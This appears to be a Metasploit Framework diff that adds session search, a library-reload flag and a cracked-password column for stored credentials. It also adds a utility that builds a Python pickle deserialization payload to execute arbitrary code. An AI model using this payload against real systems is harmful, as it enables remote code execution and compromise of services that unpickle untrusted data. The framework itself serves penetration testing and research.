data = cred.private.data.split('#')
|
||||
password = Rex::Text.encode_base64("#{cred.public.username} #{data[1]}")
|
||||
|
||||
@@ -32,7 +32,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.3.38"
|
||||
VERSION = "6.3.39"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -834,6 +834,7 @@ class ReadableText
|
||||
def self.dump_sessions(framework, opts={})
|
||||
output = ""
|
||||
verbose = opts[:verbose] || false
|
||||
sessions = opts[:sessions] || framework.sessions
|
||||
show_active = opts[:show_active] || false
|
||||
show_inactive = opts[:show_inactive] || false
|
||||
# if show_active and show_inactive are false the caller didn't
|
||||
@@ -859,11 +860,11 @@ class ReadableText
|
||||
'Header' => "Active sessions",
|
||||
'Columns' => columns,
|
||||
'Indent' => indent)
|
||||
framework.sessions.each_sorted { |k|
|
||||
session = framework.sessions[k]
|
||||
|
||||
sessions.each do |session_id, session|
|
||||
row = create_msf_session_row(session, show_extended)
|
||||
tbl << row
|
||||
}
|
||||
end
|
||||
|
||||
output << (tbl.rows.count > 0 ? tbl.to_s : "#{tbl.header_to_s}No active sessions.\n")
|
||||
end
|
||||
@@ -984,9 +985,9 @@ class ReadableText
|
||||
return out
|
||||
end
|
||||
|
||||
framework.sessions.each_sorted do |k|
|
||||
session = framework.sessions[k]
|
||||
sessions = opts[:sessions] || framework.sessions
|
||||
|
||||
sessions.each do |session_id, session|
|
||||
sess_info = session.info.to_s
|
||||
sess_id = session.sid.to_s
|
||||
sess_name = session.sname.to_s
|
||||
|
||||
@@ -150,8 +150,8 @@ module Msf
|
||||
def default_version_string
|
||||
default_version_string = 'SSH-2.0-OpenSSH_5.3p1'
|
||||
|
||||
# The current SSH server implementation does not support OpenSSL 3
|
||||
return default_version_string if OpenSSL::OPENSSL_LIBRARY_VERSION.start_with? 'OpenSSL 3'
|
||||
# The current SSH server implementation does not support OpenSSL 3 or windows
|
||||
return default_version_string if OpenSSL::OPENSSL_LIBRARY_VERSION.start_with?('OpenSSL 3') || ::Gem.win_platform?
|
||||
|
||||
require 'rex/proto/ssh/connection'
|
||||
Rex::Proto::Ssh::Connection.default_options['local_version']
|
||||
|
||||
@@ -41,7 +41,11 @@ class Auxiliary
|
||||
#
|
||||
# Executes an auxiliary module
|
||||
#
|
||||
def cmd_run(*args, action: nil)
|
||||
def cmd_run(*args, action: nil, opts: {})
|
||||
if (args.include?('-r') || args.include?('--reload-libs')) && !opts[:previously_reloaded]
|
||||
driver.run_single('reload_lib -a')
|
||||
end
|
||||
|
||||
return false unless (args = parse_run_opts(args, action: action))
|
||||
jobify = args[:jobify]
|
||||
|
||||
@@ -132,8 +136,14 @@ class Auxiliary
|
||||
# Reloads an auxiliary module and executes it
|
||||
#
|
||||
def cmd_rerun(*args)
|
||||
opts = {}
|
||||
if args.include?('-r') || args.include?('--reload-libs')
|
||||
driver.run_single('reload_lib -a')
|
||||
opts[:previously_reloaded] = true
|
||||
end
|
||||
|
||||
if reload(true)
|
||||
cmd_run(*args)
|
||||
cmd_run(*args, opts: opts)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -146,9 +156,15 @@ class Auxiliary
|
||||
# vulnerable.
|
||||
#
|
||||
def cmd_rcheck(*args)
|
||||
opts = {}
|
||||
if args.include?('-r') || args.include?('--reload-libs')
|
||||
driver.run_single('reload_lib -a')
|
||||
opts[:previously_reloaded] = true
|
||||
end
|
||||
|
||||
reload()
|
||||
|
||||
cmd_check(*args)
|
||||
cmd_check(*args, opts: opts)
|
||||
end
|
||||
|
||||
alias cmd_recheck cmd_rcheck
|
||||
|
||||
@@ -11,7 +11,6 @@
|
||||
|
||||
|
||||
require 'msf/core/opt_condition'
|
||||
|
||||
require 'optparse'
|
||||
|
||||
module Msf
|
||||
@@ -46,7 +45,7 @@ class Core
|
||||
["-s", "--script"] => [ true, "Run a script or module on the session given with -i, or all", "<script>" ],
|
||||
["-u", "--upgrade"] => [ true, "Upgrade a shell to a meterpreter session on many platforms", "<id>" ],
|
||||
["-t", "--timeout"] => [ true, "Set a response timeout (default: 15)", "<seconds>" ],
|
||||
["-S", "--search"] => [ true, "Row search filter.", "<filter>" ],
|
||||
["-S", "--search"] => [ true, "Row search filter. (ex: sessions --search 'last_checkin:less_than:10s session_id:5 session_type:meterpreter')", "<filter>"],
|
||||
["-x", "--list-extended"] => [ false, "Show extended information in the session table" ],
|
||||
["-n", "--name"] => [ true, "Name or rename a session by ID", "<id> <name>" ])
|
||||
|
||||
@@ -56,7 +55,7 @@ class Core
|
||||
["-k", "--kill"] => [ true, "Terminate the specified thread ID.", "<id>" ],
|
||||
["-K", "--kill-all"] => [ false, "Terminate all non-critical threads." ],
|
||||
["-i", "--info"] => [ true, "Lists detailed information about a thread.", "<id>" ],
|
||||
["-l", "--list"] => [ false, "List all background threads." ],
|
||||
["-l", "--list"] => [ false, "List all background threads." ],
|
||||
["-v", "--verbose"] => [ false, "Print more detailed info. Use with -i and -l" ])
|
||||
|
||||
@@tip_opts = Rex::Parser::Arguments.new(
|
||||
@@ -115,6 +114,32 @@ class Core
|
||||
["-g", "--global"] => [ false, "Operate on global datastore variables"]
|
||||
)
|
||||
|
||||
SESSION_TYPE = 'session_type'
|
||||
SESSION_ID = 'session_id'
|
||||
LAST_CHECKIN = 'last_checkin'
|
||||
LESS_THAN = 'less_than'
|
||||
GREATER_THAN = 'greater_than'
|
||||
|
||||
VALID_SESSION_SEARCH_PARAMS =
|
||||
[
|
||||
LAST_CHECKIN,
|
||||
SESSION_ID,
|
||||
SESSION_TYPE
|
||||
]
|
||||
VALID_OPERATORS =
|
||||
[
|
||||
LESS_THAN,
|
||||
GREATER_THAN
|
||||
]
|
||||
|
||||
private_constant :VALID_SESSION_SEARCH_PARAMS
|
||||
private_constant :VALID_OPERATORS
|
||||
private_constant :SESSION_TYPE
|
||||
private_constant :SESSION_ID
|
||||
private_constant :LAST_CHECKIN
|
||||
private_constant :GREATER_THAN
|
||||
private_constant :LESS_THAN
|
||||
|
||||
# Returns the list of commands supported by this command dispatcher
|
||||
def commands
|
||||
{
|
||||
@@ -1519,7 +1544,7 @@ class Core
|
||||
unless sid.nil? || method == 'interact'
|
||||
session_list = build_range_array(sid)
|
||||
if session_list.blank?
|
||||
print_error("Please specify valid session identifier(s)")
|
||||
print_error('Please specify valid session identifier(s)')
|
||||
return false
|
||||
end
|
||||
end
|
||||
@@ -1528,6 +1553,20 @@ class Core
|
||||
print_warning("Database not connected; list of inactive sessions unavailable")
|
||||
end
|
||||
|
||||
if search_term
|
||||
matching_sessions = get_matching_sessions(search_term)
|
||||
|
||||
# check for nil value indicating validation has found invalid input in search helper functions. Error will have been printed already
|
||||
unless matching_sessions
|
||||
return nil
|
||||
end
|
||||
|
||||
if matching_sessions.empty?
|
||||
print_error('No matching sessions.')
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
last_known_timeout = nil
|
||||
|
||||
# Now, perform the actual method
|
||||
@@ -1537,9 +1576,12 @@ class Core
|
||||
print_error("No command specified!")
|
||||
return false
|
||||
end
|
||||
|
||||
cmds.each do |cmd|
|
||||
if sid
|
||||
sessions = session_list
|
||||
elsif matching_sessions
|
||||
sessions = matching_sessions
|
||||
else
|
||||
sessions = framework.sessions.keys.sort
|
||||
end
|
||||
@@ -1649,20 +1691,27 @@ class Core
|
||||
end
|
||||
end
|
||||
when 'killall'
|
||||
print_status("Killing all sessions...")
|
||||
framework.sessions.each_sorted.reverse_each do |s|
|
||||
session = framework.sessions.get(s)
|
||||
if session
|
||||
if session.respond_to?(:response_timeout)
|
||||
last_known_timeout = session.response_timeout
|
||||
session.response_timeout = response_timeout
|
||||
end
|
||||
begin
|
||||
session.kill
|
||||
ensure
|
||||
if session.respond_to?(:response_timeout) && last_known_timeout
|
||||
session.response_timeout = last_known_timeout
|
||||
end
|
||||
if matching_sessions
|
||||
print_status('Killing matching sessions...')
|
||||
print_line
|
||||
print(Serializer::ReadableText.dump_sessions(framework, show_active: show_active, show_inactive: show_inactive, show_extended: show_extended, verbose: verbose, sessions: matching_sessions))
|
||||
print_line
|
||||
else
|
||||
matching_sessions = framework.sessions
|
||||
print_status('Killing all sessions...')
|
||||
end
|
||||
matching_sessions.each do |_session_id, session|
|
||||
next unless session
|
||||
|
||||
if session.respond_to?(:response_timeout)
|
||||
last_known_timeout = session.response_timeout
|
||||
session.response_timeout = response_timeout
|
||||
end
|
||||
begin
|
||||
session.kill
|
||||
ensure
|
||||
if session.respond_to?(:response_timeout) && last_known_timeout
|
||||
session.response_timeout = last_known_timeout
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1754,7 +1803,7 @@ class Core
|
||||
end
|
||||
when 'list', 'list_inactive', nil
|
||||
print_line
|
||||
print(Serializer::ReadableText.dump_sessions(framework, show_active: show_active, show_inactive: show_inactive, show_extended: show_extended, verbose: verbose, search_term: search_term))
|
||||
print(Serializer::ReadableText.dump_sessions(framework, show_active: show_active, show_inactive: show_inactive, show_extended: show_extended, verbose: verbose, sessions: matching_sessions))
|
||||
print_line
|
||||
when 'name'
|
||||
if session_name.blank?
|
||||
@@ -1793,6 +1842,184 @@ class Core
|
||||
true
|
||||
end
|
||||
|
||||
def get_matching_sessions(search_term)
|
||||
matching_sessions = {}
|
||||
terms = search_term.split
|
||||
id_searches = []
|
||||
type_searches = []
|
||||
checkin_searches = []
|
||||
searches = []
|
||||
|
||||
# Group search terms by what's being searched for
|
||||
terms.each do |term|
|
||||
case term.split(':').first
|
||||
when SESSION_ID
|
||||
id_searches << term
|
||||
when SESSION_TYPE
|
||||
type_searches << term
|
||||
when LAST_CHECKIN
|
||||
checkin_searches << term
|
||||
else
|
||||
print_error("Please provide valid search term. Given: #{term.split(':').first}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Group results by search term - OR filters
|
||||
[id_searches, type_searches].each do |search|
|
||||
next if search.empty?
|
||||
|
||||
id_matches = {}
|
||||
search.each do |term|
|
||||
matches = filter_sessions_by_search(term)
|
||||
return unless matches
|
||||
|
||||
id_matches = id_matches.merge(matches)
|
||||
end
|
||||
searches << id_matches
|
||||
end
|
||||
|
||||
# Retrieve checkin search results. AND filter with a max length of 2
|
||||
unless checkin_searches.empty?
|
||||
unless validate_checkin_searches(checkin_searches)
|
||||
return
|
||||
end
|
||||
|
||||
checkin_matches = filter_sessions_by_search(checkin_searches.first)
|
||||
if checkin_searches[1]
|
||||
matches = filter_sessions_by_search(checkin_searches[1])
|
||||
checkin_matches = checkin_matches.select { |session_id, session| matches[session_id] == session }
|
||||
end
|
||||
searches << checkin_matches
|
||||
end
|
||||
|
||||
# AND all the results together for final session list
|
||||
if searches.empty?
|
||||
print_error('Please provide a valid search query.')
|
||||
return nil
|
||||
else
|
||||
matching_sessions = searches.first
|
||||
searches[1..].each do |result_set|
|
||||
matching_sessions = matching_sessions.select { |session_id, session| result_set[session_id] == session }
|
||||
end
|
||||
end
|
||||
matching_sessions
|
||||
end
|
||||
|
||||
def validate_checkin_searches(checkin_searches)
|
||||
checkin_searches.each do |search_term|
|
||||
unless search_term.split(':').length == 3
|
||||
print_error('Please only specify last_checkin, before or after, and a time. Ex: last_checkin:before:1m30s')
|
||||
return false
|
||||
end
|
||||
time_value = search_term.split(':')[2]
|
||||
time_unit_string = time_value.gsub(/[^a-zA-Z]/, '')
|
||||
unless time_unit_string == time_unit_string.squeeze
|
||||
print_error('Please do not provide duplicate time units in your query')
|
||||
return false
|
||||
end
|
||||
operator = checkin_searches[0].split(':')[1]
|
||||
unless VALID_OPERATORS.include?(operator)
|
||||
print_error("Please specify less_than or greater_than for checkin query. Ex: last_checkin:less_than:1m30s. Given: #{operator}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
if checkin_searches.length > 2
|
||||
print_error("Too many checkin searches. Max: 2. Given: #{checkin_searches.length}")
|
||||
return false
|
||||
elsif checkin_searches.length == 2
|
||||
_, operator1, value1 = checkin_searches[0].split(':')
|
||||
_, operator2, value2 = checkin_searches[1].split(':')
|
||||
unless VALID_OPERATORS.include?(operator1) && VALID_OPERATORS.include?(operator2)
|
||||
print_error('last_checkin can only be searched for using before or after. Ex: last_checkin:before:1m30s')
|
||||
return false
|
||||
end
|
||||
if operator1 == operator2
|
||||
print_error("Cannot search for last_checkin with two #{operator1} arguments.")
|
||||
return false
|
||||
end
|
||||
if (operator1 == GREATER_THAN && parse_duration(value2) < parse_duration(value1)) || (operator1 == LESS_THAN && parse_duration(value1) < parse_duration(value2))
|
||||
print_error('After value must be a larger duration than the before value.')
|
||||
return false
|
||||
end
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
def filter_sessions_by_search(search_term)
|
||||
matching_sessions = {}
|
||||
field, = search_term.split(':')
|
||||
framework.sessions.each do |session_id, session|
|
||||
if !session.respond_to?(:last_checkin) && (field == LAST_CHECKIN)
|
||||
next
|
||||
end
|
||||
|
||||
matches_search = evaluate_search_criteria(session, search_term)
|
||||
return nil if matches_search.nil?
|
||||
|
||||
case field
|
||||
when LAST_CHECKIN
|
||||
if session.last_checkin && evaluate_search_criteria(session, search_term)
|
||||
matching_sessions[session_id] = session
|
||||
end
|
||||
when SESSION_TYPE, SESSION_ID
|
||||
matching_sessions[session_id] = session if evaluate_search_criteria(session, search_term)
|
||||
else
|
||||
print_error("Unrecognized search term: #{field}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
matching_sessions
|
||||
end
|
||||
|
||||
def evaluate_search_criteria(session, search_term)
|
||||
field, operator, value = search_term.split(':')
|
||||
|
||||
case field
|
||||
when LAST_CHECKIN
|
||||
last_checkin_time = session.last_checkin
|
||||
offset = parse_duration(value)
|
||||
return nil unless offset
|
||||
|
||||
threshold_time = Time.now - offset
|
||||
case operator
|
||||
when GREATER_THAN
|
||||
return threshold_time > last_checkin_time
|
||||
when LESS_THAN
|
||||
return threshold_time < last_checkin_time
|
||||
end
|
||||
when SESSION_ID
|
||||
return session.sid.to_s == operator
|
||||
when SESSION_TYPE
|
||||
return session.type.casecmp?(operator)
|
||||
end
|
||||
end
|
||||
|
||||
def parse_duration(duration)
|
||||
total_time = 0
|
||||
time_tokens = duration.scan(/(?:\d+\.?\d*|\.\d+)/).zip(duration.scan(/[a-zA-Z]+/))
|
||||
time_tokens.each do |value, unit|
|
||||
if unit.nil? || value.nil?
|
||||
print_error('Please specify both time units and amounts')
|
||||
return nil
|
||||
end
|
||||
case unit.downcase
|
||||
when 'd'
|
||||
total_time += value.to_f * 86400
|
||||
when 'h'
|
||||
total_time += value.to_f * 3600
|
||||
when 'm'
|
||||
total_time += value.to_f * 60
|
||||
when 's'
|
||||
total_time += value.to_f
|
||||
else
|
||||
print_error("Unrecognized time format: #{value}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
total_time.to_i
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the sessions command
|
||||
#
|
||||
|
||||
@@ -337,7 +337,7 @@ class Creds
|
||||
set_rhosts = false
|
||||
truncate = true
|
||||
|
||||
cred_table_columns = [ 'host', 'origin' , 'service', 'public', 'private', 'realm', 'private_type', 'JtR Format' ]
|
||||
cred_table_columns = [ 'host', 'origin' , 'service', 'public', 'private', 'realm', 'private_type', 'JtR Format', 'cracked_password' ]
|
||||
delete_count = 0
|
||||
search_term = nil
|
||||
|
||||
@@ -444,8 +444,10 @@ class Creds
|
||||
}
|
||||
|
||||
opts[:workspace] = framework.db.workspace
|
||||
query = framework.db.creds(opts)
|
||||
cred_cores = framework.db.creds(opts).to_a
|
||||
cred_cores.sort_by!(&:id)
|
||||
matched_cred_ids = []
|
||||
cracked_cred_ids = []
|
||||
|
||||
if output_file&.ends_with?('.hcat')
|
||||
output_file = ::File.open(output_file, 'wb')
|
||||
@@ -458,8 +460,9 @@ class Creds
|
||||
tbl = Rex::Text::Table.new(tbl_opts)
|
||||
end
|
||||
|
||||
filtered_query(query, opts, origin_ranges, host_ranges) do |core, service, origin|
|
||||
filter_cred_cores(cred_cores, opts, origin_ranges, host_ranges) do |core, service, origin, cracked_password_core|
|
||||
matched_cred_ids << core.id
|
||||
cracked_cred_ids << cracked_password_core.id if cracked_password_core.present?
|
||||
|
||||
if output_file && output_formatter
|
||||
formatted = output_formatter.call(core)
|
||||
@@ -493,7 +496,7 @@ class Creds
|
||||
rhosts << host unless host.blank?
|
||||
service_info = build_service_info(service)
|
||||
end
|
||||
|
||||
cracked_password_val = cracked_password_core&.private&.data.to_s
|
||||
tbl << [
|
||||
host,
|
||||
origin,
|
||||
@@ -502,7 +505,8 @@ class Creds
|
||||
private_val,
|
||||
realm_val,
|
||||
human_val, #private type
|
||||
jtr_val
|
||||
jtr_val,
|
||||
cracked_password_val
|
||||
]
|
||||
end
|
||||
end
|
||||
@@ -516,7 +520,7 @@ class Creds
|
||||
end
|
||||
|
||||
if mode == :delete
|
||||
result = framework.db.delete_credentials(ids: matched_cred_ids.uniq)
|
||||
result = framework.db.delete_credentials(ids: matched_cred_ids.concat(cracked_cred_ids).uniq)
|
||||
delete_count = result.size
|
||||
end
|
||||
|
||||
@@ -547,8 +551,31 @@ class Creds
|
||||
|
||||
protected
|
||||
|
||||
def filtered_query(query, opts, origin_ranges, host_ranges)
|
||||
query.each do |core|
|
||||
# @param [Array<Metasploit::Credential::Core>] cores The list of cores to filter
|
||||
# @param [Hash] opts
|
||||
# @param [Array<Rex::Socket::RangeWalker>] origin_ranges
|
||||
# @param [Array<Rex::Socket::RangeWalker>] host_ranges
|
||||
# @yieldparam [Metasploit::Credential::Core] core
|
||||
# @yieldparam [Mdm::Service] service
|
||||
# @yieldparam [Metasploit::Credential::Origin] origin
|
||||
# @yieldparam [Metasploit::Credential::Origin::CrackedPassword] cracked_password_core
|
||||
def filter_cred_cores(cores, opts, origin_ranges, host_ranges)
|
||||
# Some creds may have been cracked that exist outside of the filtered cores list, let's resolve them all to show the cracked value
|
||||
cores_by_id = cores.each_with_object({}) { |core, hash| hash[core.id] = core }
|
||||
# Map of any originating core ids that have been cracked; The value is cracked core value
|
||||
cracked_core_id_to_cracked_value = cores.each_with_object({}) do |core, hash|
|
||||
next unless core.origin.kind_of?(Metasploit::Credential::Origin::CrackedPassword)
|
||||
hash[core.origin.metasploit_credential_core_id] = core
|
||||
end
|
||||
|
||||
cores.each do |core|
|
||||
# Skip the cracked password if it's planned to be shown on the originating core row in a separate column
|
||||
is_duplicate_cracked_password_row = core.origin.kind_of?(Metasploit::Credential::Origin::CrackedPassword) &&
|
||||
cracked_core_id_to_cracked_value.key?(core.origin.metasploit_credential_core_id) &&
|
||||
# The core might exist outside of the currently available cores to render
|
||||
cores_by_id.key?(core.origin.metasploit_credential_core_id)
|
||||
next if is_duplicate_cracked_password_row
|
||||
|
||||
# Exclude non-blank username creds if that's what we're after
|
||||
if opts[:user] == '' && core.public && !(core.public.username.blank?)
|
||||
next
|
||||
@@ -572,11 +599,12 @@ class Creds
|
||||
next
|
||||
end
|
||||
|
||||
cracked_password_core = cracked_core_id_to_cracked_value.fetch(core.id, nil)
|
||||
if core.logins.empty?
|
||||
service = service_from_origin(core)
|
||||
next if service.nil? && host_ranges.present? # If we're filtering by login IP and we're here there's no associated login, so skip
|
||||
|
||||
yield core, service, origin
|
||||
yield core, service, origin, cracked_password_core
|
||||
else
|
||||
core.logins.each do |login|
|
||||
service = framework.db.services(id: login.service_id).first
|
||||
@@ -588,7 +616,7 @@ class Creds
|
||||
next
|
||||
end
|
||||
|
||||
yield core, service, origin
|
||||
yield core, service, origin, cracked_password_core
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -22,8 +22,12 @@ class Evasion
|
||||
'Evasion'
|
||||
end
|
||||
|
||||
def cmd_run(*args)
|
||||
opts = {
|
||||
def cmd_run(*args, opts: {})
|
||||
if (args.include?('-r') || args.include?('--reload-libs')) && !opts[:previously_reloaded]
|
||||
driver.run_single('reload_lib -a')
|
||||
end
|
||||
|
||||
module_opts = {
|
||||
'Encoder' => mod.datastore['ENCODER'],
|
||||
'Payload' => mod.datastore['PAYLOAD'],
|
||||
'Nop' => mod.datastore['NOP'],
|
||||
@@ -32,7 +36,7 @@ class Evasion
|
||||
}
|
||||
|
||||
begin
|
||||
mod.run_simple(opts)
|
||||
mod.run_simple(module_opts)
|
||||
rescue ::Interrupt
|
||||
print_error('Evasion interrupted by the console user')
|
||||
rescue ::Exception => e
|
||||
@@ -44,8 +48,14 @@ class Evasion
|
||||
alias cmd_exploit cmd_run
|
||||
|
||||
def cmd_rerun(*args)
|
||||
opts = {}
|
||||
if args.include?('-r') || args.include?('--reload-libs')
|
||||
driver.run_single('reload_lib -a')
|
||||
opts[:previously_reloaded] = true
|
||||
end
|
||||
|
||||
if reload(true)
|
||||
cmd_run(*args)
|
||||
cmd_run(*args, opts: opts)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -64,6 +74,7 @@ class Evasion
|
||||
'-n' => [ framework.nops.map { |refname, mod| refname } ],
|
||||
'-o' => [ true ],
|
||||
'-p' => [ framework.payloads.map { |refname, mod| refname } ],
|
||||
'-r' => [ nil ],
|
||||
'-t' => [ true ],
|
||||
'-z' => [ nil ]
|
||||
}
|
||||
@@ -77,7 +88,11 @@ class Evasion
|
||||
#
|
||||
alias cmd_exploit_tabs cmd_run_tabs
|
||||
|
||||
def cmd_to_handler(*_args)
|
||||
def cmd_to_handler(*args)
|
||||
if args.include?('-r') || args.include?('--reload-libs')
|
||||
driver.run_single('reload_lib -a')
|
||||
end
|
||||
|
||||
handler = framework.modules.create('exploit/multi/handler')
|
||||
|
||||
handler_opts = {
|
||||
|
||||
@@ -74,6 +74,7 @@ class Exploit
|
||||
'-n' => [ framework.nops.map { |refname, mod| refname } ],
|
||||
'-o' => [ true ],
|
||||
'-p' => [ framework.payloads.map { |refname, mod| refname } ],
|
||||
'-r' => [ nil ],
|
||||
'-t' => [ true ],
|
||||
'-z' => [ nil ]
|
||||
}
|
||||
@@ -90,7 +91,11 @@ class Exploit
|
||||
#
|
||||
# Launches exploitation attempts.
|
||||
#
|
||||
def cmd_exploit(*args)
|
||||
def cmd_exploit(*args, opts: {})
|
||||
if (args.include?('-r') || args.include?('--reload-libs')) && !opts[:previously_reloaded]
|
||||
driver.run_single('reload_lib -a')
|
||||
end
|
||||
|
||||
return false unless (args = parse_exploit_opts(args))
|
||||
|
||||
any_session = false
|
||||
@@ -138,6 +143,7 @@ class Exploit
|
||||
return false
|
||||
end
|
||||
|
||||
driver.run_single('reload_lib -a') if args[:reload_libs]
|
||||
|
||||
if rhosts && has_rhosts_option
|
||||
rhosts_walker = Msf::RhostsWalker.new(rhosts, mod_with_opts.datastore)
|
||||
@@ -234,9 +240,15 @@ class Exploit
|
||||
# vulnerable.
|
||||
#
|
||||
def cmd_rcheck(*args)
|
||||
opts = {}
|
||||
if args.include?('-r') || args.include?('--reload-libs')
|
||||
driver.run_single('reload_lib -a')
|
||||
opts[:previously_reloaded] = true
|
||||
end
|
||||
|
||||
reload()
|
||||
|
||||
cmd_check(*args)
|
||||
cmd_check(*args, opts: opts)
|
||||
end
|
||||
|
||||
alias cmd_recheck cmd_rcheck
|
||||
@@ -245,12 +257,18 @@ class Exploit
|
||||
# Reloads an exploit module and launches an exploit.
|
||||
#
|
||||
def cmd_rexploit(*args)
|
||||
return cmd_rexploit_help if args.include? "-h"
|
||||
opts = {}
|
||||
if args.include?('-r') || args.include?('--reload-libs')
|
||||
driver.run_single('reload_lib -a')
|
||||
opts[:previously_reloaded] = true
|
||||
end
|
||||
|
||||
return cmd_rexploit_help if args.include?('-h') || args.include?('--help')
|
||||
|
||||
# Stop existing job and reload the module
|
||||
if reload(true)
|
||||
# Delegate to the exploit command unless the reload failed
|
||||
cmd_exploit(*args)
|
||||
cmd_exploit(*args, opts: opts)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -45,7 +45,11 @@ module Msf
|
||||
)
|
||||
end
|
||||
|
||||
def cmd_to_handler(*_args)
|
||||
def cmd_to_handler(*args)
|
||||
if args.include?('-r') || args.include?('--reload-libs')
|
||||
driver.run_single('reload_lib -a')
|
||||
end
|
||||
|
||||
handler = framework.modules.create('exploit/multi/handler')
|
||||
|
||||
handler_opts = {
|
||||
|
||||
@@ -47,9 +47,15 @@ class Post
|
||||
# Reloads a post module and executes it
|
||||
#
|
||||
def cmd_rerun(*args)
|
||||
opts = {}
|
||||
if args.include?('-r') || args.include?('--reload-libs')
|
||||
driver.run_single('reload_lib -a')
|
||||
opts[:previously_reloaded] = true
|
||||
end
|
||||
|
||||
# Stop existing job and reload the module
|
||||
if reload(true)
|
||||
cmd_run(*args)
|
||||
cmd_run(*args, opts: opts)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -65,7 +71,11 @@ class Post
|
||||
#
|
||||
# Executes a post module
|
||||
#
|
||||
def cmd_run(*args, action: nil)
|
||||
def cmd_run(*args, action: nil, opts: {})
|
||||
if (args.include?('-r') || args.include?('--reload-libs')) && !opts[:previously_reloaded]
|
||||
driver.run_single('reload_lib -a')
|
||||
end
|
||||
|
||||
return false unless (args = parse_run_opts(args, action: action))
|
||||
jobify = args[:jobify]
|
||||
|
||||
|
||||
@@ -17,11 +17,12 @@ module ModuleArgumentParsing
|
||||
|
||||
# Options which are standard and predictable across all modules
|
||||
@@module_opts = Rex::Parser::Arguments.new(
|
||||
['-h', '--help'] => [ false, 'Help banner.' ],
|
||||
['-j', '--job'] => [ false, 'Run in the context of a job.' ],
|
||||
['-J', '--foreground'] => [ false, 'Force running in the foreground, even if passive.' ],
|
||||
['-o', '--options'] => [ true, 'A comma separated list of options in VAR=VAL format.', '<options>' ],
|
||||
['-q', '--quiet'] => [ false, 'Run the module in quiet mode with no output' ]
|
||||
['-h', '--help'] => [ false, 'Help banner.' ],
|
||||
['-j', '--job'] => [ false, 'Run in the context of a job.' ],
|
||||
['-J', '--foreground'] => [ false, 'Force running in the foreground, even if passive.' ],
|
||||
['-o', '--options'] => [ true, 'A comma separated list of options in VAR=VAL format.', '<options>' ],
|
||||
['-q', '--quiet'] => [ false, 'Run the module in quiet mode with no output' ],
|
||||
['-r', '--reload-libs'] => [ false, 'Reload all libraries before running.' ]
|
||||
)
|
||||
|
||||
@@module_opts_with_action_support = @@module_opts.merge(
|
||||
@@ -41,7 +42,7 @@ module ModuleArgumentParsing
|
||||
help_cmd = proc do |_result|
|
||||
cmd_check_help
|
||||
end
|
||||
parse_opts(@@module_opts_with_action_support, args, help_cmd: help_cmd)&.slice(:datastore_options)
|
||||
parse_opts(@@module_opts_with_action_support, args, help_cmd: help_cmd)&.slice(:datastore_options, :reload_libs)
|
||||
end
|
||||
|
||||
def parse_run_opts(args, action: nil)
|
||||
@@ -127,6 +128,8 @@ module ModuleArgumentParsing
|
||||
end
|
||||
when '-p'
|
||||
result[:payload] = val
|
||||
when '-r'
|
||||
result[:reload_libs] = true
|
||||
when '-t'
|
||||
result[:target] = val.to_i
|
||||
when '-z'
|
||||
|
||||
@@ -134,7 +134,11 @@ module ModuleCommandDispatcher
|
||||
#
|
||||
# Checks to see if a target is vulnerable.
|
||||
#
|
||||
def cmd_check(*args)
|
||||
def cmd_check(*args, opts: {})
|
||||
if (args.include?('-r') || args.include?('--reload-libs')) && !opts[:previously_reloaded]
|
||||
driver.run_single('reload_lib -a')
|
||||
end
|
||||
|
||||
return false unless (args = parse_check_opts(args))
|
||||
|
||||
mod_with_opts = mod.replicant
|
||||
@@ -243,6 +247,12 @@ module ModuleCommandDispatcher
|
||||
# Reloads the active module
|
||||
#
|
||||
def cmd_reload(*args)
|
||||
if args.include?('-r') || args.include?('--reload-libs')
|
||||
driver.run_single('reload_lib -a')
|
||||
end
|
||||
|
||||
return cmd_reload_help if args.include?('-h') || args.include?('--help')
|
||||
|
||||
begin
|
||||
reload
|
||||
rescue
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# Python deserialization Utility
|
||||
module Msf
|
||||
module Util
|
||||
# Python deserialization class
|
||||
class PythonDeserialization
|
||||
# That could be in the future a list of payloads used to exploit the Python deserialization vulnerability.
|
||||
PAYLOADS = {
|
||||
# this payload will work with Python 3.x targets to execute Python code in place
|
||||
py3_exec: proc do |python_code|
|
||||
escaped = python_code.gsub(/[\\\n\r]/) { |t| "\\u00#{t.ord.to_s(16).rjust(2, '0')}" }
|
||||
%|c__builtin__\nexec\np0\n(V#{escaped}\np1\ntp2\nRp3\n.|
|
||||
end
|
||||
}
|
||||
|
||||
def self.payload(payload_name, command = nil)
|
||||
|
||||
raise ArgumentError, "#{payload_name} payload not found in payloads" unless payload_names.include? payload_name.to_sym
|
||||
|
||||
PAYLOADS[payload_name.to_sym].call(command)
|
||||
end
|
||||
|
||||
def self.payload_names
|
||||
PAYLOADS.keys
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -31,7 +31,7 @@ module MsfdbHelpers
|
||||
else
|
||||
print_error("Attempt to create DB socket file at Temporary Directory and `~/.msf4/db` failed. Possibly because they are mounted with NOEXEC flags. Database initialization failed.")
|
||||
end
|
||||
|
||||
|
||||
start
|
||||
|
||||
create_db_users(msf_pass, msftest_pass)
|
||||
@@ -49,7 +49,7 @@ module MsfdbHelpers
|
||||
f.puts "#!/bin/bash\necho exec"
|
||||
end
|
||||
File.chmod(0744, file_name)
|
||||
|
||||
|
||||
if run_cmd(file_name)
|
||||
File.open("#{@db}/postgresql.conf", 'a') do |f|
|
||||
f.puts "unix_socket_directories = \'#{path}\'"
|
||||
@@ -95,14 +95,25 @@ module MsfdbHelpers
|
||||
end
|
||||
|
||||
